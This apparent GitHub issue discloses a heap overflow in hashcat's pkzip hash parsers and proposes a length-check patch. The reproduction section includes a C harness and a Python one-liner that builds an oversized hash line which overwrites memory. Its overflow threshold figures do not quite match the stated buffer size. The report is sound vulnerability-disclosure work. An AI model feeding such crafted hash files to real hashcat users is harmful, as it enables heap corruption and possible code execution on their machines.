#4724·hashcat

**pkzip parser (modes 17200 / 17210 / 17220 / 17225)** — over-long hex data token decoded into a 327,680-byte `pkzip.hash.data` array without length validation

Author: nuartvisionCreated Jul 12, 2026Updated Jul 13, 2026
Labelsbugduplicate

pkzip hash parser heap overflow (modes 17200, 17210, 17220, 17225)

Field Value
Title pkzip hash parser decodes an attacker-sized hex data field into a fixed 320 KB buffer without validation
Vulnerability class Heap buffer overflow / out-of-bounds write (CWE-122)
Affected files / lines src/modules/module_17200.c:215-337 (parser); overflowing write at module_17200.c:320. Same pattern in module_17210.c, module_17220.c, module_17225.c.

Description

The pkzip module parses a line with strtok_r and then decodes the final hex token with a custom helper:

c
hex_to_binary (p, strlen (p), (char *) &(pkzip->hash.data));

pkzip->hash.data is declared as u32 data[MAX_DATA / 4] where MAX_DATA is 320 * 1024 bytes. The parser validates compressed_length against MAX_DATA when data_type_enum > 1, but it never validates the length of the final hex data token or pkzip->hash.data_length. A hash line with more than 640,960 hex characters therefore produces more than 320,480 binary bytes and overflows the buffer.

Source-to-sink path

attacker-controlled hash file line
  -> hc_fgetl() (max 16 MB)
  -> module_hash_decode() in module_17200.so
  -> strtok_r() splits tokens
  -> strtoul() sets data_length (not enforced against hex token size)
  -> hex_to_binary() at module_17200.c:320 writes strlen(p)/2 bytes into pkzip->hash.data[320*1024/4]

Preconditions

  • Attacker can supply or modify a pkzip hash file processed by hashcat (-m 17200, -m 17210, -m 17220, -m 17225).

Reproduction

  1. Build the module:
bash
cd /home/test/hashcat
make modules/module_17200.so
  1. Build the harness:
bash
cat > /tmp/harness_17200.c <<'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
typedef unsigned long long (*size_fn)(const void*,const void*,const void*);
typedef int (*decode_fn)(const void*, void*, void*, void*, void*, void*, const char*, const int);
int main(int argc, char **argv) {
    FILE *fp = fopen(argv[1], "rb"); fseek(fp,0,SEEK_END); long n=ftell(fp); fseek(fp,0,SEEK_SET);
    char *line = malloc(n+1); fread(line,1,n,fp); line[n]=0; fclose(fp);
    void *h = dlopen("/home/test/hashcat/modules/module_17200.so", RTLD_NOW);
    size_fn es = (size_fn)dlsym(h, "module_esalt_size");
    decode_fn fn = (decode_fn)dlsym(h, "module_hash_decode");
    unsigned long long sz = es(NULL,NULL,NULL);
    unsigned char *esalt = malloc(sz + 256);
    memset(esalt, 0x41, sz + 256);
    int rc = fn(NULL, (unsigned char[64]){0}, (unsigned char[8192]){0}, esalt, NULL, NULL, line, n);
    printf("esalt_size=%llu rc=%d\n", sz, rc);
    printf("offset320k=0x%02x%02x%02x%02x  tail=0x%02x%02x%02x%02x\n",
           esalt[320*1024], esalt[320*1024+1], esalt[320*1024+2], esalt[320*1024+3],
           esalt[sz], esalt[sz+1], esalt[sz+2], esalt[sz+3]);
    free(esalt); dlclose(h); return 0;
}
EOF
gcc -o /tmp/harness_17200 /tmp/harness_17200.c -ldl
  1. Benign payload (320 KB hex → 160 KB binary, within bounds):
bash
python3 -c "print('\$pkzip\$1*1*1*1*8*27100*1234' + 'a'*327680 + '*\$/pkzip\$')" > /tmp/pkzip_ok.txt
/tmp/harness_17200 /tmp/pkzip_ok.txt
# esalt_size=327714 rc=0
# offset320k=0x41414141  tail=0x41414141
  1. Overflow payload (700 KB hex → 350 KB binary, exceeds 320 KB buffer):
bash
python3 -c "print('\$pkzip\$1*1*1*1*8*55700*1234' + 'a'*700000 + '*\$/pkzip\$')" > /tmp/pkzip_overflow.txt
/tmp/harness_17200 /tmp/pkzip_overflow.txt
# esalt_size=327714 rc=0
# offset320k=0xaaaaaaaa  tail=0xaaaaaaaa

The bytes at offset 320 KB and beyond the esalt allocation are overwritten with 0xaa (the decoded value of the repeated aa hex pair), proving the out-of-bounds write.

Impact

heap corruption, crash, and potential code execution when hashcat parses a malicious pkzip hash file.

Possible Fix

Validate the final hex payload size against the actual destination buffer before calling hex_to_binary(). In src/modules/module_17200.c (and the identical block in module_17210.c), replace:

c
  p = strtok_r (NULL, "*", &saveptr);
  if (p == NULL) return (PARSER_HASH_LENGTH);

  hex_to_binary (p, strlen (p), (char *) &(pkzip->hash.data));

with:

c
  p = strtok_r (NULL, "*", &saveptr);
  if (p == NULL) return (PARSER_HASH_LENGTH);

  const int data_hex_len = strlen (p);

  if ((data_hex_len & 1) != 0) return (PARSER_HASH_LENGTH);
  if (data_hex_len / 2 > MAX_DATA) return (PARSER_TOKEN_LENGTH);

  hex_to_binary (p, data_hex_len, (char *) &(pkzip->hash.data));

For the multi-hash variants (src/modules/module_17220.c and src/modules/module_17225.c) the same check belongs inside the per-hash loop, immediately before:

c
hex_to_binary (p, strlen (p), (char *) &(pkzip->hashes[i].data));

using MAX_DATA as the per-hash data limit.